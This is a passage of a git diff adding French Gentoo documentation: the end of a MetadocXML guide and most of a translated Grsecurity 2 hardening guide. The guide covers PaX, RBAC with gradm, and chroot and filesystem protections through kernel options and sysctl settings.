+    dans lesquelles le document est situé (remarquez que le document peut être
+    dans plusieurs catégories en même temps)&nbsp;;
+  </li>
+  <li>
+    Une entité <c>bugs</c> contenant une ou plusieurs entités <c>bug</c>. Une
+    entité <c>bug</c> fait référence au numéro de bogue concernant un bogue
+    de ce document dans le bugzilla de Gentoo. Dans le cas d'un bogue majeur
+    vous pouvez ajouter l'attribut <c>stopper="yes"</c> à l'entité <c>bug</c>
+    pour que le document n'apparaisse pas dans la table des matières des
+    documentations.
+  </li>
+</ul>
+
+<pre caption="Exemple d'entité « docs »">
+&lt;docs&gt;
+  &lt;doc id="handbook_x86"&gt;
+    &lt;memberof&gt;install_guides&lt;/memberof&gt;
+    &lt;fileid&gt;handbook-x86&lt;/fileid&gt;
+    &lt;bugs&gt;
+      &lt;bug&gt;70753&lt;/bug&gt;
+    &lt;/bugs&gt;
+  &lt;/doc&gt;
+  &lt;doc id="portage-intro"&gt;
+    &lt;memberof&gt;gentoo_portage&lt;/memberof&gt;
+    &lt;fileid vpart="2" vchap="1"&gt;handbook-x86&lt;/fileid&gt;
+  &lt;/doc&gt;
+  &lt;doc id="uml"&gt;
+    &lt;memberof&gt;sysadmin_general&lt;/memberof&gt;
+    &lt;fileid&gt;uml&lt;/fileid&gt;
+  &lt;/doc&gt;
+&lt;/docs&gt;
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Les fichiers MetadocXML supplémentaires</title>
+<section>
+<title>La table des matières générée automatiquement</title>
+<body>
+
+<p>
+Si vous voulez disposer d'une table des matières générée automatiquement vous
+devez commencer votre document avec le code suivant&nbsp;:
+</p>
+
+<pre caption="Table des matières générée Dynamiquement">
+&lt;?xml version='1.0' encoding='UTF-8'?&gt;
+&lt;?xml-stylesheet href="/xsl/metadoc.xsl" type="text/xsl"?&gt;
+&lt;?xml-stylesheet href="/xsl/guide.xsl"   type="text/xsl"?&gt;
+
+&lt;!-- &#36;Header&#36; --&gt;
+
+&lt;!DOCTYPE dynamic SYSTEM "/dtd/metadoc.dtd"&gt;
+
+<comment>&lt;!-- Remplacer "/doc/fr/metadoc.xml" par le chemin vers votre
+fichier metadoc --&gt;</comment>
+&lt;dynamic metadoc="<i>/doc/fr/metadoc.xml</i>"&gt;
+&lt;title&gt;<i>Documentation Gentoo</i>&lt;/title&gt;
+&lt;intro&gt;
+
+<comment>(...)</comment>
+
+&lt;/intro&gt;
+
+&lt;catid&gt;<i>faq</i>&lt;/catid&gt;
+&lt;catid&gt;<i>install</i>&lt;/catid&gt;
+
+&lt;/dynamic&gt;
+</pre>
+
+<p>
+Entre les balises <c>intro</c> vous pouvez écrire un ou plusieurs chapitres qui
+apparaîtront toujours en haut de votre page. Vous pourrez par exemple écrire
+une introduction et quelques informations supplémentaires pour que le lecteur
+sache qui contacter s'il y a un problème dans une traduction ou pour tout autre
+problème.
+</p>
+
+<p>
+Entre les balises <c>intro</c> vous pouvez utiliser du code GuideXML, en
+commençant le code à partir de la balise <c>section</c>.
+</p>
+
+<p>
+Les balises <c>catid</c> font références aux catégories principales utilisées
+par la table des matières dynamique. Vous devez lister toutes les catégories
+racine possibles qui sont déclarées dans votre fichier metadoc. <e>Ne listez
+pas</e> de catégories qui appartiennent à une autre catégorie.
+</p>
+
+</body>
+</section>
+<section>
+<title>La liste des documents générée dynamiquement</title>
+<body>
+
+<p>
+Une liste de documents générée dynamiquement commence de la même manière que le
+fichier de table des matières&nbsp;:
+</p>
+
+<pre caption="Liste des documents générée dynamiquement">
+&lt;?xml version='1.0' encoding='UTF-8'?&gt;
+&lt;?xml-stylesheet href="/xsl/metadoc.xsl" type="text/xsl"?&gt;
+&lt;?xml-stylesheet href="/xsl/guide.xsl"   type="text/xsl"?&gt;
+
+&lt;!-- &#36;Header&#36; --&gt;
+
+&lt;!DOCTYPE dynamic SYSTEM "/dtd/metadoc.dtd"&gt;
+
+<comment>&lt;!-- Remplacer "/doc/fr/metadoc.xml" par le chemin vers votre
+fichier metadoc --&gt;</comment>
+&lt;dynamic metadoc="<i>/doc/fr/metadoc.xml</i>"&gt;
+&lt;title&gt;<i>Liste des documents Gentoo</i>&lt;/title&gt;
+</pre>
+
+<p>
+Contrairement au cas précédent il n'y a pas de balise <c>intro</c>. Vous devez
+ajouter toutes les catégories principales utilisées par la liste. Pour les
+différencier de la table des matières (qui affichera également des informations
+de chaque document) vous devez utiliser les balises <c>list</c>, inclues dans
+des balises <c>listing</c>&nbsp;:
+</p>
+
+<pre caption="Liste de catégories">
+&lt;listing&gt;
+  &lt;list&gt;faq&lt;/list&gt;
+  &lt;list&gt;install&lt;/list&gt;
+&lt;/listing&gt;
+</pre>
+
+</body>
+</section>
+<section>
+<title>Le document de vue d'ensemble généré dynamiquement</title>
+<body>
+
+<p>
+Le document de vue d'ensemble commence de la même manière que les deux
+précédents&nbsp;:
+</p>
+
+<pre caption="Liste des fichiers générée dynamiquement">
+&lt;?xml version='1.0' encoding='UTF-8'?&gt;
+&lt;?xml-stylesheet href="/xsl/metadoc.xsl" type="text/xsl"?&gt;
+&lt;?xml-stylesheet href="/xsl/guide.xsl"   type="text/xsl"?&gt;
+
+&lt;!-- &#36;Header&#36; --&gt;
+
+&lt;!DOCTYPE dynamic SYSTEM "/dtd/metadoc.dtd"&gt;
+
+<comment>&lt;!-- Remplacer "/doc/fr/metadoc.xml" par le chemin vers votre
+fichier metadoc --&gt;</comment>
+&lt;dynamic metadoc="<i>/doc/fr/metadoc.xml</i>"&gt;
+&lt;title&gt;<i>Vue d'ensemble de la documentation</i>&lt;/title&gt;
+</pre>
+
+<p>
+Vous pouvez ici aussi écrire une petite introduction en code GuideXML entre les
+balises XML <c>intro</c> en commençant à partir de la balise <c>section</c>. Une
+fois cela fini une simple balise <c>&lt;overview/&gt;</c> suffira.
+</p>
+
+<pre caption="Balises d'introduction et de vue d'ensemble">
+&lt;intro&gt;
+<comment>(...)</comment>
+&lt;/intro&gt;
+
+&lt;overview/&gt;
+</pre>
+
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/fr/hardened/grsecurity2.xml b/xml/htdocs/proj/fr/hardened/grsecurity2.xml
new file mode 100644
index 00000000..b0e20dd6
--- /dev/null
+++ b/xml/htdocs/proj/fr/hardened/grsecurity2.xml
@@ -0,0 +1,957 @@
+<?xml version='1.0' encoding="utf-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<guide link="/proj/fr/hardened/grsecurity2.xml" lang="fr">
+
+<title>Guide Gentoo Grsecurity version 2</title>
+
+<author title="Auteur">
+  <mail link="solar@gentoo.org">solar</mail>
+</author>
+<author title="Auteur">
+  <mail link="swift@gentoo.org">Sven Vermeulen</mail>
+</author>
+<author title="Traducteur">
+  <mail link="clement@varaldi.org">Clément Varaldi</mail>
+</author>
+
+<abstract>
+Ce document propose un certain nombre de correctifs de sécurité grsecurity2, des
+options de configuration supportées par le noyau et des outils mis à disposition
+par le projet grsecurity pour améliorer la sécurité de votre système.
+</abstract>
+
+<version>0.4</version>
+<date>2004-10-06</date>
+
+<chapter>
+<title>À propos de Grsecurity</title>
+<section>
+<title>Le projet Grsecurity</title>
+<body>
+
+<p>
+Le projet grsecurity, hébergé sur le site <uri>http://www.grsecurity.org</uri>,
+propose un certain nombre de correctifs pour le noyau Linux pour améliorer la
+sécurité de l'ensemble de votre système. Dans le chapitre suivant nous
+présenteront l'ensemble des fonctionnalités apportées par grsecurity. Une liste
+complète est maintenue à jour sur la
+<uri link="http://www.grsecurity.org/features.php">page des fonctionnalités de
+grsecurity</uri>.
+</p>
+
+<p>
+Dans la mesure où la plupart des fonctionnalités apportées par grsecurity sont
+liées au noyau, une grande partie de ce document présente en détail certaines
+fonctionnalités du noyau et leurs opérations «&nbsp;sysctl&nbsp;» (dans la
+mesure du possible).
+</p>
+
+</body>
+</section>
+<section>
+<title>Intégration au projet Gentoo Hardened</title>
+<body>
+
+<p>
+Le <uri link="http://hardened.gentoo.org">projet Gentoo Hardened</uri>
+maintient les améliorations liées à la sécurité sous Gentoo. Ce qui inclut,
+mais n'est pas limité à grsecurity.
+</p>
+
+</body>
+</section>
+<section>
+<title>Configuration du noyau</title>
+<body>
+
+<p>
+Tout au long de ce document nous allons parler de la configuration du noyau en
+utilisant des noms de variables comme <c>CONFIG_GRKERNSEC_PAX_NO_ACL_FLAGS</c>.
+Ce sont des variables que le noyau utilise lors de la construction pour
+déterminer quelles fonctionnalités doivent être compilées ou non.
+</p>
+
+<p>
+Quand vous configurez votre noyau avec la commande <c>make menuconfig</c> (ou
+similaire) vous disposez d'une interface utilisateur dans laquelle on vous
+propose de choisir un certain nombre d'options du noyau. Si vous sélectionnez
+le bouton <e>Help</e> pour une fonctionnalité donnée, vous pourrez voir que les
+options correspondent en fait à ces mêmes variables du noyau.
+</p>
+
+<p>
+Vous pouvez donc toujours configurer votre noyau comme vous le souhaitez, en
+faisant bien sûr attention à ce que vous choisissez. Et si vous n'arrivez pas à
+trouver une option spécifique, vous pouvez toujours éditer le
+fichier<path>/usr/src/linux/.config</path> à la main.
+</p>
+
+<p>
+Évidemment, pour pouvoir choisir parmi les options de noyau grsecurity vous
+devez activer le support de grsecurity dans votre noyau&nbsp;:
+</p>
+
+<pre caption="Activer grsecurity">
+CONFIG_GRKERNSEC=y
+CONFIG_GRKERNSEC_CUSTOM=y
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>PaX</title>
+<section>
+<title>Combattre l'exploitation des bogues logiciels</title>
+<body>
+
+<p>
+PaX introduit un certain nombre de mécanismes de sécurité qui rendent encore
+plus difficile l'exploitation de bogues logiciels par les attaquants
+lorsqu'elles concernent des corruptions de mémoire (ne croyez donc pas que PaX
+vous protégera contre toutes les attaques possibles de bogues logiciels). Le
+<uri link="http://pax.grsecurity.net/docs/pax.txt">document d'introduction de
+PaX</uri> parle de trois techniques d'attaque possibles&nbsp;:
+</p>
+
+<ol>
+  <li>Introduction et exécution de code arbitraire&nbsp;;</li>
+  <li>
+    Exécution d'un code existant en dehors du cadre d'exécution normal du
+    programme&nbsp;;
+  </li>
+  <li>
+    Exécution d'un code existant dans le cadre normal d'exécution de celui-ci,
+    mais avec des données arbitraires.
+  </li>
+</ol>
+
+<p>
+Une méthode de prévention est d'interdire aux codes exécutables de se stocker
+dans une mémoire en écriture. Lors de l'exécution d'un processus, celui-ci aura
+besoin de cinq zones mémoires différentes&nbsp;:
+</p>
+
+<ol>
+  <li>
+    une <e>zone de données</e> qui contient des données allouées de manière
+    statique ou globale&nbsp;;
+  </li>
+  <li>
+    Une <e>zone BSS</e> (Block Started by Symbol, pour bloc commençant par un
+    symbole) qui contient des informations à propos des données du processus
+    initialisées à zéro&nbsp;;
+  </li>
+  <li>
+    Une <e>zone de code</e>, aussi appelée le <e>segment texte</e>, qui contient
+    des instructions exécutables&nbsp;;
+  </li>
+  <li>
+    Un <e>tas</e> («&nbsp;heap&nbsp;») qui contient la mémoire allouée
+    dynamiquement&nbsp;;
+  </li>
+  <li>
+    Une <e>pile</e> («&nbsp;stack&nbsp;») qui contient les variables locales.
+  </li>
+</ol>
+
+<p>
+La première méthode de prévention utilisée par PaX appelée <b>NOEXEC</b> a pour
+but de permettre le contrôle de la génération du code d'exécution. Elle marque
+les pages mémoires qui ne contiennent pas de code exécutable comme étant des
+zones non-exécutables. Cela signifie que le tas et la pile qui ne contiennent
+que des données et ne devraient pas contenir de code exécutable seront marqués
+comme non-exécutables. Les attaques qui mettent du code à exécuter dans ces
+zones avec l'intention de les exécuter échoueront.
+</p>
+
+<p>
+Pour dire vrai, NOEXEC va plus loin et les lecteurs intéressés devraient lire la
+<uri link="http://pax.grsecurity.net/docs/noexec.txt">documentation de NOEXEC
+pour PaX</uri>.
+</p>
+
+<p>
+La seconde méthode de prévention employée par PaX s'appelle <b>ASLR</b> (Address
+Space Layout Randomization, pour Allocation aléatoire de l'espace adressé). Elle
+rend le processus d'allocation de la mémoire aléatoire pour chaque demande de
+mémoire. Si auparavant la mémoire était assignée de manière contiguë (ce qui
+signifie que les exploitations permettent de savoir où sont situées les zones
+mémoire de chaque tâche), ASLR rend aléatoire cette assignation, ce qui rend
+inutile l'utilisation de techniques utilisant ce type d'information.
+</p>
+
+<p>
+Pour plus d'informations sur ASLR lisez
+<uri link="http://pax.grsecurity.net/docs/aslr.txt">la documentation de
+ASLR pour PaX</uri>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Activer PaX</title>
+<body>
+
+<p>
+Les configurations noyau recommandées pour l'usage de PaX sont&nbsp;:
+</p>
+
+<pre caption="Configuration recommandée du noyau pour PaX">
+<comment>#
+# PaX Control
+#
+# CONFIG_GRKERNSEC_PAX_SOFTMODE is not set</comment>
+CONFIG_GRKERNSEC_PAX_EI_PAX=y
+CONFIG_GRKERNSEC_PAX_PT_PAX_FLAGS=y
+CONFIG_GRKERNSEC_PAX_NO_ACL_FLAGS=y
+<comment># CONFIG_GRKERNSEC_PAX_HAVE_ACL_FLAGS is not set
+# CONFIG_GRKERNSEC_PAX_HOOK_ACL_FLAGS is not set
+
+#
+# Address Space Protection
+#</comment>
+CONFIG_GRKERNSEC_PAX_NOEXEC=y
+<comment># CONFIG_GRKERNSEC_PAX_PAGEEXEC is not set</comment>
+CONFIG_GRKERNSEC_PAX_SEGMEXEC=y
+CONFIG_GRKERNSEC_PAX_EMUTRAMP=y
+CONFIG_GRKERNSEC_PAX_MPROTECT=y
+<comment># CONFIG_GRKERNSEC_PAX_NOELFRELOCS is not set</comment>
+CONFIG_GRKERNSEC_PAX_ASLR=y
+CONFIG_GRKERNSEC_PAX_RANDKSTACK=y
+CONFIG_GRKERNSEC_PAX_RANDUSTACK=y
+CONFIG_GRKERNSEC_PAX_RANDMMAP=y
+CONFIG_GRKERNSEC_PAX_RANDEXEC=y
+<comment># CONFIG_GRKERNSEC_KMEM is not set
+# CONFIG_GRKERNSEC_IO is not set</comment>
+CONFIG_GRKERNSEC_PROC_MEMMAP=y
+CONFIG_GRKERNSEC_HIDESYM=y
+</pre>
+
+<p>
+Si vous utilisez un système non-x86, vous n'aurez pas la variable
+CONFIG_GRKERNSEC_PAX_NOEXEC. À la place vous devez sélectionner la variable
+CONFIG_GRKERNSEC_PAX_PAGEEXEC qui est la seule implémentation de méthode de type
+non-exécution disponible.
+</p>
+
+</body>
+</section>
+<section>
+<title>Contrôler PaX</title>
+<body>
+
+<p>
+Toutes les applications ne s'accordent pas bien avec les restrictions de
+sécurité de PaX. Par exemple, xorg-x11, java, mplayer, xmms n'aiment pas PaX.
+Si vous voulez pouvoir les utiliser vous pouvez augmenter leur protection en
+utilisant les paquets <c>chpax</c> et <c>paxctl</c>.
+</p>
+
+<pre caption="Installer les outils chpax et paxctl">
+# <i>emerge app-admin/chpax</i>
+# <i>emerge app-admin/paxctl</i>
+</pre>
+
+<p>
+<c>chpax</c> fournit un script d'initialisation qui gère la plupart des
+configurations d'applications connues pour vous&nbsp;:
+</p>
+
+<pre caption="Ajouter le script chpax au niveau de lancement par défaut">
+# <i>rc-update add chpax default</i>
+</pre>
+
+<p>
+<c>pax-utils</c> est une petite boîte à outils qui inclut des applications très
+pratiques pour administrer un serveur utilisant PaX.
+</p>
+
+<pre caption="Installer pax-utils">
+# <i>emerge pax-utils</i>
+</pre>
+
+<p>
+Les outils les plus intéressants sont <c>scanelf</c> et <c>pspax</c>&nbsp;:
+</p>
+
+<ul>
+  <li>
+    Avec <c>scanelf</c>, vous pouvez passer en revue les répertoires de binaires
+    et de bibliothèques pour lister les différents droits d'exécution et les
+    types de binaires ELF qui continueront de fonctionner dans une configuration
+    idéale utilisant pax/grsec&nbsp;;
+  </li>
+  <li>
+    Avec <c>pspax</c>, vous pouvez afficher les paramètres/capacités/xattr de
+    PaX du point de vue du noyau.
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Vérifier la configuration de PaX</title>
+<body>
+
+<p>
+Peter Busser a écrit une suite de tests de régression nommée <c>paxtest</c>. Cet
+outil vérifiera plusieurs cas de vecteurs d'attaques possibles et vous informera
+des résultats. Lorsque vous l'exécutez, il laisse un fichier de jounalisation
+nommé <path>paxtest.log</path> dans le répertoire de travail courant.
+</p>
+
+<pre caption="Installation et exécution de paxtest">
+# <i>emerge paxtest</i>
+
+# <i>paxtest</i>
+Executable anonymous mapping             : Killed
+Executable bss                           : Killed
+Executable data                          : Killed
+Executable heap                          : Killed
+Executable stack                         : Killed
+Executable anonymous mapping (mprotect)  : Killed
+Executable bss (mprotect)                : Killed
+Executable data (mprotect)               : Killed
+Executable heap (mprotect)               : Killed
+Executable stack (mprotect)              : Killed
+Executable shared library bss (mprotect) : Killed
+Executable shared library data (mprotect): Killed
+Writable text segments                   : Killed
+Anonymous mapping randomisation test     : 16 bits (guessed)
+Heap randomisation test (ET_EXEC)        : 13 bits (guessed)
+Heap randomisation test (ET_DYN)         : 25 bits (guessed)
+Main executable randomisation (ET_EXEC)  : 16 bits (guessed)
+Main executable randomisation (ET_DYN)   : 17 bits (guessed)
+Shared library randomisation test        : 16 bits (guessed)
+Stack randomisation test (SEGMEXEC)      : 23 bits (guessed)
+Stack randomisation test (PAGEEXEC)      : No randomisation
+Return to function (strcpy)              : Vulnerable
+Return to function (memcpy)              : Vulnerable
+Return to function (strcpy, RANDEXEC)    : Killed
+Return to function (memcpy, RANDEXEC)    : Killed
+Executable shared library bss            : Killed
+Executable shared library data           : Killed
+</pre>
+
+<p>
+Dans l'exemple précédent, vous remarquerez que&nbsp;:
+</p>
+
+<ul>
+  <li>
+    strcpy et memcpy sont indiqués comme <e>vulnérables</e>. On s'y attendait et
+    c'est normal, cela indique que vous avez besoin d'une technologie comme
+    <uri link="/proj/en/hardened/propolice.xml">ProPolice/SSP</uri>&nbsp;;
+  </li>
+  <li>
+    Il n'y a pas de processus aléatoire pour PAGEEXEC. C'est normal dans la
+    mesure où la configuration du noyau x86 recommandée ne sélectionne pas la
+    variable PAGEEXEC. Cependant, sur les architecture qui disposent du support
+    d'un vrai bit NX (Non-eXécutable) (la plupart le supportent et notamment
+    x86_64), PAGEXEC est la seule méthode disponible pour NOEXEC et n'aura pas
+    de problème sur ce point.
+  </li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>RBAC</title>
+<section>
+<title>Contrôle d'accès basé sur des rôles</title>
+<body>
+
+<p>
+Deux types de base de mécanismes de contrôle d'accès sont utilisés pour
+empêcher l'accès non autorisé aux fichiers (et de manière plus générale à toute
+information)&nbsp;: DAC (Discretionary Access Control, pour contrôle d'accès
+arbitraire) et MAC (Mandatory Access Control, pour contrôle d'accès
+obligatoire). Par défaut, Linux utilise un mécanisme DAC&nbsp;: le créateur du
+fichier peut définir qui a accès à ce fichier. Un système MAC en revanche oblige
+tous les utilisateurs à suivre des règles dictées par l'administrateur.
+</p>
+
+<p>
+Le support grsecurity pour l'implémentation de MAC est nommée RBAC (Role Based
+Access Control). RBAC associé des <e>rôles</e> à chaque utilisateur. Chaque
+rôle définit quelles opérations peuvent être effectuées sur certains objets.
+Une fois que vous aurez un ensemble de rôles et d'opérations bien écrits, vos
+utilisateurs seront limités uniquement aux tâches que vous leur aurez données.
+Le rôle par défaut «&nbsp;deny-all&nbsp;» interdit aux utilisateurs d'effectuer
+une action à laquelle vous n'auriez pas pensé.
+</p>
+
+</body>
+</section>
+<section>
+<title>Configuration du noyau</title>
+<body>
+
+<p>
+La configuration du noyau recommandée pour le support de RBAC est&nbsp;:
+</p>
+
+<pre caption="Configuration du noyau recommandée pour RBAC">
+<comment>#
+# Options RBAC
+#</comment>
+CONFIG_GRKERNSEC_ACL_HIDEKERN=y
+CONFIG_GRKERNSEC_ACL_MAXTRIES=3
+CONFIG_GRKERNSEC_ACL_TIMEOUT=30
+</pre>
+
+</body>
+</section>
+<section>
+<title>Utilisation de gradm</title>
+<body>
+
+<p>
+<c>gradm</c> est un outil qui vous permet d'administrer et de maintenir une
+politique pour votre système. Vous pouvez activer ou désactiver le système
+RBAC, recharger les rôles RBAC, configurer un mot de passe pour le mode
+administrateur, etc.
+</p>
+
+<p>
+À l'installation de <c>gradm</c>, une politique par défaut sera installée dans
+<path>/etc/grsec/policy</path>&nbsp;:
+</p>
+
+<pre caption="Installation de gradm">
+# <i>emerge gradm</i>
+</pre>
+
+<p>
+Les politiques RBAC par défaut ne sont pas activées. C'est à l'administrateur
+système de choisir si le système utilisera des politiques RBAC et non celles de
+Gentoo. Avant d'activer le système RBAC, vous devez configurer un mot de passe
+administrateur.
+</p>
+
+<pre caption="Activation du système RBAC">
+# <i>gradm -P admin</i>
+Setting up grsecurity RBAC password
+Password: <comment>(Entrez un mot de passe bien choisi)</comment>
+Re-enter Password: <comment>(Confirmez-le)</comment>
+Password written in /etc/grsec/pw
+# <i>gradm -E</i>
+</pre>
+
+<p>
+Pour désactiver le système RBAC exécutez <c>gradm -D</c>. Si vous n'y êtes pas
+autorisé, vous devez auparavant vous approprier les rôles administrateur&nbsp;:
+</p>
+
+<pre caption="Désactivation du système RBAC">
+# <i>gradm -a admin</i>
+Password: <comment>(Entrez votre mot de passe administrateur pour les rôles)</comment>
+# <i>gradm -D</i>
+</pre>
+
+<p>
+Si vous souhaitez abandonner le rôle administrateur, exécutez la commande
+<c>gradm -u admin</c>&nbsp;:
+</p>
+
+<pre caption="Abandon du rôle administrateur">
+# <i>gradm -u admin</i>
+</pre>
+
+</body>
+</section>
+<section>
+<title>Génération d'une politique</title>
+<body>
+
+<p>
+Le système RBAC propose unr fonctionnalité intéressante nommée «&nbsp;learning
+mode&nbsp;» (mode d'apprentissage). Le mode d'apprentissage peut générer une
+politique d'anticipation de privilèges pour votre système. Cela permet
+d'économiser temps et argent en déployant rapidement de nombreux serveurs
+sécurisés.
+</p>
+
+<p>
+Pour utiliser le mode d'apprentissage vous devez l'activer en utilisant
+<c>gradm</c>&nbsp;:
+</p>
+
+<pre caption="Activation du mode d'apprendissage RBAC">
+# <i>gradm -F -L /etc/grsec/learning.log</i>
+</pre>
+
+<p>
+Maintenant, utilisez votre système, faites ce que vous feriez normalement.
+Essayez d'éviter de faire une synchronisation rsync, d'utiliser locate ou toute
+autre opération impliquant une manipulation lourde de fichiers. En effet, cela
+peut ralentir énormément votre système.
+</p>
+
+<p>
+Quand vous pensez avoir utilisé votre système suffisamment pour obtenir une
+bonne politique, indiquez à <c>gradm</c> qu'il peut commencer l'apprentissage
+et proposer des rôles dans le fichier
+<path>/etc/grsec/learning.roles</path>&nbsp;:
+</p>
+
+<pre caption="Effectuer l'apprentissage en utilisant le journal d'actions">
+# <i>gradm -F -L /etc/grsec/learning.log -O /etc/grsec/learning.roles</i>
+</pre>
+
+<p>
+Vérifiez le fichier <path>/etc/grsec/learning.roles</path> et sauvegardez-le
+dans le fichier <path>/etc/grsec/policy</path> (avec les permissions 0600) une
+fois que vous avez fini.
+</p>
+
+<pre caption="Sauvegarder les politiques">
+# <i>mv /etc/grsec/learning.roles /etc/grsec/policy</i>
+# <i>chmod 0600 /etc/grsec/policy</i>
+</pre>
+
+<p>
+Vous devriez maintenant pouvoir activer le système RBAC en utilisant la
+politique nouvellement apprise.
+</p>
+
+</body>
+</section>
+<section>
+<title>Peaufiner votre politique</title>
+<body>
+
+<p>
+Une fonctionnalité intéressante de grsecurity2 est le <e>Set Operation
+Support</e> (Support de la mise en place d'opérations) pour le fichier de
+configuration. Actuellement il supporte les unions, les intersections et les
+différences de sets (ou objets dans notre cas).
+</p>
+
+<pre caption="Exemple de sets">
+define setobj1 {
+/root/titi rw
+/root/toto2 r
+/root/toto3 x
+}
+
+define unnom2 {
+/root/test1 rw
+/root/toto2 rw
+/root/bars3 h
+}
+</pre>
+
+<p>
+Voici un exemple d'utilisation et les objets résultant seront ajoutés à votre
+sujet&nbsp;:
+</p>
+
+<pre caption="Exemple de l'opérateur &amp;">
+subject /unbinaire o
+$setobj1 &amp; $unnom2
+</pre>
+
+<p>
+Ce qui est équivalent à&nbsp;:
+</p>
+
+<pre caption="Configuration résultante">
+subject /unbinaire o
+/root/toto2 r
+</pre>
+
+<p>
+C'est le résultat de l'opérateur &amp; qui récupère les deux sets et retourne
+la liste des fichiers qui sont présents dans les deux sets et les permissions
+de ces fichiers présentes dans les deux sets.
+</p>
+
+<pre caption="Exemple de l'opérateur |">
+subject /unbinaire o
+$setobj1 | $unnom2
+</pre>
+
+<p>
+Cet exemple est équivalent à&nbsp;:
+</p>
+
+<pre caption="Configuration résultante">
+subject /unbinaire o
+/root/titi rw
+/root/toto2 rw
+/root/toto3 x
+/root/test1 rw
+/root/bars3 h
+</pre>
+
+<p>
+C'est le résultat de l'opérateur | qui récupère les deux sets et retourne les
+fichiers qui existent dans les deux. Si un fichier est dans les deux sets il
+récupère les permissions qui existent dans l'un ou l'autre des deux sets.
+</p>
+
+<pre caption="Exemple de l'opérateur -">
+subject /unbinaire o
+$setobj1 - $unnom2
+</pre>
+
+<p>
+Cet exemple est équivalent à&nbsp;:
+</p>
+
+<pre caption="Configuration résultante">
+subject /unbinaire o
+/root/titi rw
+/root/toto2 h
+/root/toto3 x
+</pre>
+
+<p>
+C'est le résultat de l'opérateur - qui prend les deux sets et retourne les
+fichiers existant dans le set de gauche mais pas dans le set de droite. Si un
+fichier est présent dans les deux (ou bien un répertoire parent existe dans le
+set de droite) il sera retourné et les permissions sur le fichier seront celles
+du fichier de gauche auxquelles on aura retiré les permissions données dans le
+second set.
+</p>
+
+<p>
+Dans un pseudo langage, vous pourriez l'interpréter ainsi&nbsp;:
+</p>
+
+<pre caption="Explication avec un pseudo langage">
+si ( (<i>$setobj1</i> contient <i>/tmp/toto rw</i>) et
+     (<i>$setobj2</i> contient <i>/tmp/toto r</i>) )
+alors
+  <i>$setobj1 - $setobj2</i> doit contenir <i>/tmp/toto w</i>
+
+si ( (<i>$setobj1</i> contient <i>/tmp/toto rw</i>) et
+     (<i>$setobj2</i> contient <i>/ rwx</i>) )
+alors 
+  <i>$setobj1 - $setobj2</i> doit contenir <i>/tmp/toto h</i>
+</pre>
+
+<p>
+L'ordre de priorité, de la plus forte à la plus faible, est le suivant&nbsp;:
+-, &amp; |.
+</p>
+
+<p>
+Si vous ne voulez pas vous encombrer l'esprit avec les priorités d'opérations,
+le support des parenthèses est également fourni. Vous pouvez donc écrire, par
+exemple&nbsp;:
+</p>
+
+<pre caption="Exemple d'utilisation des parenthèses">
+(($set1 - $set2) | $set3) &amp; $set4
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Protection des systèmes de fichiers</title>
+<section>
+<title>Lutter contre le chroot et l'abus dans les systèmes de fichiers</title>
+<body>
+
+<p>
+Grsecurity2 dispose de nombreux correctifs qui empêchent les utilisateurs
+d'obtenir une connaissance inutile à propos du système. Cela inclut notamment
+des restrictions sur l'utilisation de <path>/proc</path>, du chroot,
+l'utilisation de liens symboliques, etc.
+</p>
+
+</body>
+</section>
+<section>
+<title>Configuration du noyau</title>
+<body>
+
+<p>
+Nous vous recommandons la configuration de la protection des systèmes de
+fichiers suivante&nbsp;:
+</p>
+
+<pre caption="Activatiion de la protection des systèmes de fichiers">
+<comment>#
+# Filesystem Protections
+#</comment>
+CONFIG_GRKERNSEC_PROC=y
+<comment># CONFIG_GRKERNSEC_PROC_USER is not set</comment>
+CONFIG_GRKERNSEC_PROC_USERGROUP=y
+CONFIG_GRKERNSEC_PROC_GID=10
+CONFIG_GRKERNSEC_PROC_ADD=y
+CONFIG_GRKERNSEC_LINK=y
+CONFIG_GRKERNSEC_FIFO=y
+CONFIG_GRKERNSEC_CHROOT=y
+CONFIG_GRKERNSEC_CHROOT_MOUNT=y
+CONFIG_GRKERNSEC_CHROOT_DOUBLE=y
+CONFIG_GRKERNSEC_CHROOT_PIVOT=y
+CONFIG_GRKERNSEC_CHROOT_CHDIR=y
+CONFIG_GRKERNSEC_CHROOT_CHMOD=y
+CONFIG_GRKERNSEC_CHROOT_FCHDIR=y
+CONFIG_GRKERNSEC_CHROOT_MKNOD=y
+CONFIG_GRKERNSEC_CHROOT_SHMAT=y
+CONFIG_GRKERNSEC_CHROOT_UNIX=y
+CONFIG_GRKERNSEC_CHROOT_FINDTASK=y
+CONFIG_GRKERNSEC_CHROOT_NICE=y
+CONFIG_GRKERNSEC_CHROOT_SYSCTL=y
+CONFIG_GRKERNSEC_CHROOT_CAPS=y
+</pre>
+
+</body>
+</section>
+<section>
+<title>Activation du mécanisme de sécurité</title>
+<body>
+
+<p>
+Lorsque vous utilisez un noyau compilé avec les options indiquées plus haut
+(ou des options similaires), vous pouvez activer ou désactiver plusieurs de
+ces options en utilisant le système de fichiers <path>/proc</path> ou en
+utilisant <c>sysctl</c>.
+</p>
+
+<p>
+L'exemple ci-dessous montre un extrait classique du fichier
+<path>/etc/sysctl.conf</path>&nbsp;:
+</p>
+
+<pre caption="Exemple de paramètres dans /etc/sysctl.conf">
+kernel.grsecurity.chroot_deny_sysctl = 1
+kernel.grsecurity.chroot_caps = 1
+kernel.grsecurity.chroot_execlog = 0
+kernel.grsecurity.chroot_restrict_nice = 1
+kernel.grsecurity.chroot_deny_mknod = 1
+kernel.grsecurity.chroot_deny_chmod = 1
+kernel.grsecurity.chroot_enforce_chdir = 1
+kernel.grsecurity.chroot_deny_pivot = 1
+kernel.grsecurity.chroot_deny_chroot = 1
+kernel.grsecurity.chroot_deny_fchdir = 1
+kernel.grsecurity.chroot_deny_mount = 1
+kernel.grsecurity.chroot_deny_unix = 1
+kernel.grsecurity.chroot_deny_shmat = 1
+</pre>
+
+<p>
+Vous pouvez activer ou non les options à volonté en utilisant la commande
+<c>sysctl</c>&nbsp;:
+</p>
+
+<pre caption="Activer des paramètres avec sysctl">
